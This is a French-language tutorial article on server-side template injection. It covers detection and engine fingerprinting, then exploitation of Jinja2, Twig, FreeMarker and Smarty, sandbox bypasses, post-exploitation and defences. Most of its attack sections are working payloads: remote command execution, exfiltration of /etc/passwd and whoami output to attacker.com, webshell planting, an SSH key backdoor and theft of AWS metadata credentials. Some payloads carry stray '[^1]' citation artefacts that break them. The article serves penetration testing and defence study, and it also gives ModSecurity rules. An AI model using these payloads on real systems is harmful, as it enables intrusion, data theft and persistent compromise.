Server-Side Template Injection (SSTI) : De la Détection à l'Exécution de Code

11 min read

Cover Image for Server-Side Template Injection (SSTI) : De la Détection à l'Exécution de Code

Les Server-Side Template Injection (SSTI) représentent une classe de vulnérabilités particulièrement dangereuses qui permettent aux attaquants d'exécuter du code arbitraire sur les serveurs en exploitant les moteurs de templates côté serveur. Cette vulnérabilité transforme des fonctionnalités apparemment inoffensives comme les formulaires de contact ou les templates d'emails personnalisés en vecteurs d'attaque critique permettant la compromission complète des systèmes. Contrairement aux injections traditionnelles qui se contentent de manipuler les données, les SSTI exploitent directement la logique de rendu des templates, offrant aux attaquants un accès direct aux capabilities du langage de programmation sous-jacent. Cette technique d'exploitation moderne nécessite une compréhension approfondie des moteurs de templates, de leurs syntaxes spécifiques, et des mécanismes de contournement des environnements sandboxés, rendant leur détection et leur exploitation particulièrement complexes pour les testeurs de pénétration.

Comprendre les Moteurs de Templates et les Vulnérabilités SSTI

Architecture et Fonctionnement des Moteurs de Templates

Les moteurs de templates sont des composants essentiels du développement web moderne qui permettent de séparer la logique métier de la présentation en remplaçant des placeholders par du contenu dynamique au moment du rendu. Les moteurs populaires comme Jinja2 pour Python, Twig pour PHP, FreeMarker pour Java, et Smarty pour PHP utilisent des syntaxes spécifiques pour traiter les templates et générer le HTML final.

Le processus de rendu normal suit un flux sécurisé où les données utilisateur sont passées comme paramètres séparés dans le template. Par exemple, avec Jinja2 :

# SÉCURISÉ : les données utilisateur restent des données
template = "Bonjour {{ nom | e }}"
output = render_template_string(template, nom=user_input)

La vulnérabilité SSTI survient lorsque l'input utilisateur contrôle directement la structure du template plutôt que seulement les données :

# VULNÉRABLE : l'utilisateur contrôle le template
user_template = request.args.get('template')
output = render_template_string(user_template)  # Dangereux !

Cette différence fondamentale transforme le moteur de template en interpréteur de code, permettant aux attaquants d'injecter des expressions malveillantes qui seront évaluées et exécutées côté serveur.

Types de Contextes d'Injection

Les vulnérabilités SSTI peuvent apparaître dans deux contextes principaux :

Contexte Plaintext : L'input utilisateur est directement inséré dans un template comme texte libre. La détection est généralement simple car l'injection de syntaxe template produit une évaluation visible :

# Test de détection basique
Input: {{7*7}}
Output: 49  # Indique une évaluation côté serveur

Contexte Code : L'input utilisateur est placé à l'intérieur d'une expression template existante. Ce contexte est plus subtil à détecter car il ne produit pas d'XSS évidente :

# Contexte code vulnérable
greeting = request.args.get('greeting')
template = "Bonjour {{" + greeting + "}}"

Pour tester ce contexte, il faut d'abord vérifier l'absence d'XSS avec des tags HTML, puis tenter de "sortir" de l'expression template :

# Test de sortie d'expression
Input: username}}<script>alert(1)</script>

Méthodologie de Détection des Vulnérabilités SSTI

Flowchart illustrating command injection attacks detection and exploitation in web applications, highlighting vulnerabilities, attacker tactics, and data exfiltration.

Flowchart illustrating command injection attacks detection and exploitation in web applications, highlighting vulnerabilities, attacker tactics, and data exfiltration.

Phase 1 : Identification des Points d'Injection

La première étape consiste à identifier systématiquement tous les points d'entrée où l'input utilisateur pourrait être traité par un moteur de template. Cette reconnaissance doit couvrir :

  • Paramètres GET/POST dans les formulaires de recherche, profils, commentaires

  • Headers HTTP personnalisés qui pourraient être loggés ou affichés

  • Cookies utilisés dans la génération de contenu dynamique

  • Champs de templates personnalisables comme les emails marketing

  • APIs REST/GraphQL acceptant des templates comme données

L'utilisation de polyglots universels permet de tester efficacement multiple moteurs de templates avec un nombre réduit de requêtes. Ces expressions sont conçues pour être interprétées par le maximum de moteurs différents :

# Polyglots de détection universels
${{<%[%'"}}%
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
[[${7*7}]]

Une réponse contenant "49" au lieu de l'expression littérale confirme l'exécution côté serveur.

Phase 2 : Fingerprinting du Moteur de Template

Terminal output demonstrating automated detection and exploitation of Jinja2 template injection vulnerability using tplmap, leading to remote code execution and reading /etc/passwd on a Linux system.

Terminal output demonstrating automated detection and exploitation of Jinja2 template injection vulnerability using tplmap, leading to remote code execution and reading /etc/passwd on a Linux system.

L'identification précise du moteur est cruciale car chaque moteur utilise une syntaxe et des capabilities différentes. La méthode la plus efficace consiste à utiliser un arbre de décision avec des payloads spécifiques :

Test de Différenciation Jinja2 vs Twig :

# Payload de test
{{7*'7'}}

# Réponses attendues
Jinja2: 7777777 (répétition de chaîne)
Twig: 49 (conversion automatique)
Smarty: 49 (conversion)

Test pour FreeMarker (Java) :

${7*7}
# Si le moteur évalue l'expression → FreeMarker possible

Test pour Velocity/Template Toolkit :

#set($test = 7*7)$test
# Syntaxe spécifique aux moteurs basés sur #

Les messages d'erreur sont également des sources précieuses d'information. L'injection de syntaxe invalide révèle souvent le nom et la version du moteur dans les stack traces :

# Génération d'erreurs intentionnelles
{{}}
{%}
<%>

Phase 3 : Exploitation et Escalade

Une fois le moteur identifié, l'exploitation suit des patterns spécifiques à chaque technologie. Les techniques modernes incluent des méthodes de contournement de sandbox et d'introspection d'objets.

Techniques d'Exploitation Avancées par Moteur

Exploitation Jinja2 (Python/Flask)

Jinja2 est particulièrement puissant car il permet l'exécution de code Python natif. Les techniques d'exploitation exploitent la capacité d'introspection de Python pour remonter la hiérarchie d'objets jusqu'aux modules système.

Technique d'Introspection d'Objets :

# Accès au namespace global via l'objet self
{{self.__init__.__globals__}}

# Navigation dans la hiérarchie des classes
{{''.__class__.__mro__[^1].__subclasses__()}}

# RCE via os.popen
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

Technique par Position d'Index (Bypass de Filtres) :

Cette technique innovante évite l'utilisation de chaînes littérales en extrayant des commandes depuis le namespace global converti en string :

# Extraction de la commande "id" depuis le global namespace
{{self.__init__.__globals__.__str__()[1786:1788]}}

# RCE complet utilisant la position d'index
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}

Contournement de Sandbox Jinja2 :

Même en mode sandbox, Jinja2 peut être exploitable via l'accès aux objets internes :

# Accès aux sous-classes Python
{{"".__class__.__base__.__subclasses__()[^104].__init__.__globals__['sys'].exit()}}

# Alternative avec config Flask
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

Exploitation Twig (PHP)

Twig présente des restrictions par défaut mais reste exploitable via des techniques spécifiques. La méthode de contournement la plus efficace utilise les blocks et filtres natifs.

RCE via Sandbox Bypass avec Blocks :

# Technique de block splitting pour contournement
{%block X%}whoamiINTIGRITIsystem{%endblock%}
{%set y=block('X')|split('INTIGRITI')%}
{{[y|first]|map(y|last)|join}}

Cette technique fonctionne en :

  1. Définissant un block avec la commande et un délimiteur

  2. Séparant le contenu avec split()

  3. Utilisant map() pour exécuter le filtre system

Exploitation via call_user_func :

Les versions vulnérables de Twig exposent call_user_func via la méthode getFilter :

# Enregistrement d'exec comme callback
{{_self.env.registerUndefinedFilterCallback("exec")}}

# Exécution de commande
{{_self.env.getFilter("id")}}

Exploitation FreeMarker (Java)

FreeMarker nécessite une approche différente basée sur les objets Java exposés.

RCE via Objets Java Exposés :

# Accès aux classes Java dangereuses
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

# Alternative avec processBuilder
<#assign classLoader=object_class.getClassLoader()>
<#assign clazz=classLoader.loadClass("java.lang.ProcessBuilder")>
<#assign constructor=clazz.getConstructor(classLoader.loadClass("[Ljava.lang.String;"))>
<#assign process=constructor.newInstance(["whoami"])>
${process.start().waitFor()}

Exploitation Smarty (PHP)

Smarty en mode non-sécurisé permet l'exécution directe de PHP :

# Exécution PHP directe
{php}system('id');{/php}

# Via fonction PHP
{system('whoami')}

# Contournement sandbox via static methods
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",true)}

Techniques de Contournement de Sandbox

Bypass d'Environnements Sandboxés

Les environnements sandboxés modernes tentent de restreindre l'accès aux fonctions dangereuses, mais plusieurs techniques permettent de contourner ces restrictions.

Template Escape Bugs :

Une nouvelle classe de vulnérabilités appelée "template escape" permet d'injecter du code dans les fichiers PHP générés par les moteurs de templates :

# Exploitation de template escape dans Smarty
{function name="test() { system('id'); } function test2"}content{/function}

Cette technique exploite des bugs dans la génération de code PHP, permettant d'injecter du code PHP natif dans les fichiers compilés.

Introspection d'Objets Personnalisés :

Lorsque les fonctions système sont bloquées, l'énumération d'objets personnalisés peut révéler des fonctions exploitables :

# Énumération des variables globales dans Twig
{{_context|keys|join(',')}}

# Accès aux objets personnalisés découverts
{{secrets.MYSQL_PASSWD}}  # Fuite de secrets
{{files.get_style_sheet('../../../../../etc/passwd')}}  # Path traversal

Techniques d'Évasion de Filtres

Bypassing de Filtres de Caractères :

# Utilisation d'encodage alternatif
{{"__import__"|attr("os")|attr("system")("id")}}

# Construction dynamique de chaînes
{{request|attr(request.args.class)|attr(request.args.mro)|attr(request.args.getitem)(1)}}

Bypassing via Concaténation :

# Construction de "os" via concaténation
{{"o"+"s"|attr("system")("whoami")}}

# Utilisation d'opérations arithmétiques
{{().__class__.__bases__[^0].__subclasses__()[^59].__init__.__globals__.values()[^13]}}

Outils et Automatisation de l'Exploitation

TplMap : L'Outil de Référence

TplMap est l'outil automatisé le plus avancé pour la détection et l'exploitation des SSTI. Il supporte de nombreux moteurs et techniques :

# Scan automatique d'une URL
python tplmap.py -u "http://target.com/page?q=*" 

# Exploitation avec shell interactif
python tplmap.py -u "http://target.com/page?q=*" --os-shell

# Techniques d'évasion spécifiques
python tplmap.py -u "http://target.com/page?q=*" --technique R --engine Jinja2

Techniques de Détection Out-of-Band

Les techniques modernes incluent des méthodes de détection out-of-band utilisant DNS ou HTTP callbacks :

# DNS Exfiltration avec Jinja2
{{''.__class__.__mro__[^1].__subclasses__()[^104].__init__.__globals__['sys'].modules['os'].system('nslookup $(whoami).attacker.com')}}

# HTTP Callback
{{''.__class__.__mro__[^1].__subclasses__()[^104].__init__.__globals__['sys'].modules['urllib.request'].urlopen('http://attacker.com/'+open('/etc/passwd').read())}}

Interactsh pour la Validation

L'utilisation d'Interactsh permet de valider l'exécution de payloads sans output direct :

# Génération d'interaction Interactsh
{{''.__class__.__mro__[^1].__subclasses__()[^104].__init__.__globals__['sys'].modules['os'].system('curl http://unique-id.interactsh.com')}}

Exploitation Avancée et Post-Exploitation

Techniques de Persistance

Une fois l'exécution de code obtenue, établir une persistance devient prioritaire :

Installation de Webshells :

# Via Jinja2 - Création d'un webshell
{{''.__class__.__mro__[^1].__subclasses__()[^104].__init__.__globals__['sys'].modules['os'].system('echo "<?php system($_GET[cmd]); ?>" > /var/www/html/shell.php')}}

Création de Backdoors SSH :

# Ajout de clé SSH publique
echo "ssh-rsa AAAAB3Nza... attacker@machine" >> ~/.ssh/authorized_keys

Escalade de Privilèges

L'exploitation SSTI s'exécute avec les privilèges de l'application web. Des techniques d'escalade sont souvent nécessaires :

Énumération Système :

# Reconnaissance système via SSTI
{{''.__class__.__mro__[^1].__subclasses__()[^104].__init__.__globals__['sys'].modules['os'].system('uname -a && id && cat /etc/passwd')}}

Exploitation de Capabilities :

# Recherche de binaires avec capabilities
getcap -r / 2>/dev/null

Mouvement Latéral

Découverte de Réseau :

# Scan réseau interne via SSTI
{{''.__class__.__mro__[^1].__subclasses__()[^104].__init__.__globals__['sys'].modules['os'].system('nmap -sn 192.168.1.0/24')}}

Accès aux Services Internes :

# Test de services internes
{{''.__class__.__mro__[^1].__subclasses__()[^104].__init__.__globals__['sys'].modules['urllib.request'].urlopen('http://internal-service:8080/admin')}}

Défenses et Contremesures

Validation et Sanitisation d'Input

La défense primaire contre les SSTI consiste à ne jamais permettre à l'input utilisateur de contrôler la structure des templates :

Approches Sécurisées :

# CORRECT : Séparation données/template
template = "Bonjour {{ nom | e }}"
output = render_template_string(template, nom=user_input)

# INCORRECT : Template contrôlé par utilisateur  
user_template = request.form['template']
output = render_template_string(user_template)  # Vulnérable !

Listes Blanches de Templates :

# Templates pré-approuvés seulement
APPROVED_TEMPLATES = {
    'greeting': 'Bonjour {{ nom }}',
    'farewell': 'Au revoir {{ nom }}'
}

template_name = request.form['template_type']
if template_name in APPROVED_TEMPLATES:
    output = render_template_string(APPROVED_TEMPLATES[template_name], nom=user_input)

Configuration Sécurisée des Moteurs

Jinja2 Sandbox Mode :

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# Restriction des attributs dangereux
env.globals = {}
env.filters = {}

Twig Sandbox Configuration :

$sandbox = new Twig_Sandbox_SecurityPolicy(
    array('if', 'for'),        // tags autorisés
    array('escape'),           // filtres autorisés  
    array(),                   // méthodes autorisées
    array(),                   // propriétés autorisées
    array()                    // fonctions autorisées
);
$sandbox->setAllowedMethods(object::class, []);

Détection et Monitoring

Logging d'Activité Suspecte :

import logging

# Log des compilations template anormales
def log_template_compilation(template_source):
    suspicious_patterns = ['__', 'class', 'mro', 'globals', 'import']
    for pattern in suspicious_patterns:
        if pattern in template_source:
            logging.warning(f"Suspicious template pattern detected: {pattern}")

Monitoring des Performances :

# Surveillance des temps de compilation anormaux
import time

def secure_render(template_source, context):
    start_time = time.time()
    result = render_template_string(template_source, **context)
    compilation_time = time.time() - start_time

    if compilation_time > 5.0:  # Seuil de détection
        logging.alert(f"Long template compilation: {compilation_time}s")

    return result

Web Application Firewalls (WAF)

Configuration de règles WAF spécifiques aux SSTI :

# ModSecurity rules pour SSTI
# Détection des délimiteurs de templates (Jinja2, Twig, FreeMarker, JSP)
SecRule ARGS "@rx (\{\{.*?\}\}|\$\{.*?\}|<%.*?%>|#\{.*?\})" \
    "id:1002,\
    phase:2,\
    block,\
    msg:'SSTI Attack Detected',\
    logdata:'Matched Data: %{MATCHED_VAR} in %{MATCHED_VAR_NAME}'"

# Optionnel : détection de mots-clés sensibles dans les templates
SecRule ARGS "@rx (?:__class__|__mro__|__globals__|import|system\()" \
    "id:1003,\
    phase:2,\
    block,\
    msg:'Potential SSTI exploitation keywords detected',\
    logdata:'Matched Data: %{MATCHED_VAR} in %{MATCHED_VAR_NAME}'"

Cas d'Études Réels et Impact Business

Cas Uber (HackerOne Report #125980)

Un chercheur en sécurité a découvert une RCE complète sur rider.uber.com via une vulnérabilité SSTI dans Flask/Jinja2. L'exploitation suivait ce scénario :

  1. Découverte : Changement du nom de profil vers {{ '7'*7 }}

  2. Confirmation : Réception d'email avec "7777777" confirmant l'évaluation Jinja2

  3. Exploitation : RCE via introspection d'objets Python

L'impact incluait la compromission complète du serveur et l'accès aux données utilisateurs.

Template Escape dans Smarty (CVE-2021-26120)

Cette vulnérabilité permettait d'injecter du code PHP arbitraire dans les fichiers compilés via des bugs dans la fonction {function} :

# Payload d'exploitation  
{function name="rce() { system($_GET['cmd']); } function safe"}

Le code injecté s'exécutait avec les privilèges du serveur web, permettant une compromission complète.

Impact sur les Infrastructures Cloud

Les SSTI dans les environnements cloud présentent des risques amplifiés :

Accès aux Metadata Services :

# Récupération des credentials AWS via SSTI
{{''.__class__.__mro__[^1].__subclasses__()[^104].__init__.__globals__['sys'].modules['urllib.request'].urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}

Container Escape :

# Escape de conteneur Docker
mount -t cgroup -o rdma cgroup /tmp/cgroup && mkdir /tmp/cgroup/x

Développements Futurs et Tendances

Intelligence Artificielle et SSTI

L'émergence d'outils basés sur l'IA comme WormGPT génère automatiquement des centaines de payloads SSTI uniques pour contourner les signatures de détection. Cette automatisation rend la défense basée sur des patterns moins efficace.

Template Engines Modernes

Les nouveaux moteurs comme Go Templates et Rust Handlebars introduisent de nouvelles surfaces d'attaque nécessitant des recherches continues.

Techniques d'Évasion Émergentes

  • Polyglot Encoding : Utilisation d'encodages multiples (Unicode, Base64, Hex)

  • Time-based SSTI : Exploitation sans output direct via délais d'exécution

  • Memory Corruption : Exploitation de bugs dans les parsers de templates

Conclusion

Les vulnérabilités Server-Side Template Injection représentent une menace critique dans le paysage de sécurité web moderne, transformant des fonctionnalités apparemment bénignes en vecteurs d'attaque sophistiqués permettant l'exécution de code à distance. Leur complexité technique, combinée à la diversité des moteurs de templates et des techniques de contournement, exige une compréhension approfondie tant pour les défenseurs que pour les testeurs de pénétration.

L'évolution constante des techniques d'exploitation, notamment avec l'émergence de template escape bugs et l'automatisation via l'intelligence artificielle, rend la détection et la mitigation de plus en plus challenging. Les organisations doivent adopter une approche défensive multicouche, combinant validation stricte des inputs, configuration sécurisée des moteurs de templates, monitoring proactif, et formation continue des développeurs sur les risques associés aux templates dynamiques.

La prévention demeure la meilleure défense : ne jamais permettre à l'input utilisateur de contrôler la structure des templates, utiliser des templates statiques avec des données paramétrées, et maintenir les moteurs de templates à jour avec les derniers patches de sécurité. Pour les testeurs de pénétration, maîtriser les techniques d'introspection d'objets, les méthodes de contournement de sandbox, et l'utilisation d'outils automatisés comme TplMap devient essentiel pour identifier et exploiter efficacement ces vulnérabilités dans le cadre d'évaluations de sécurité.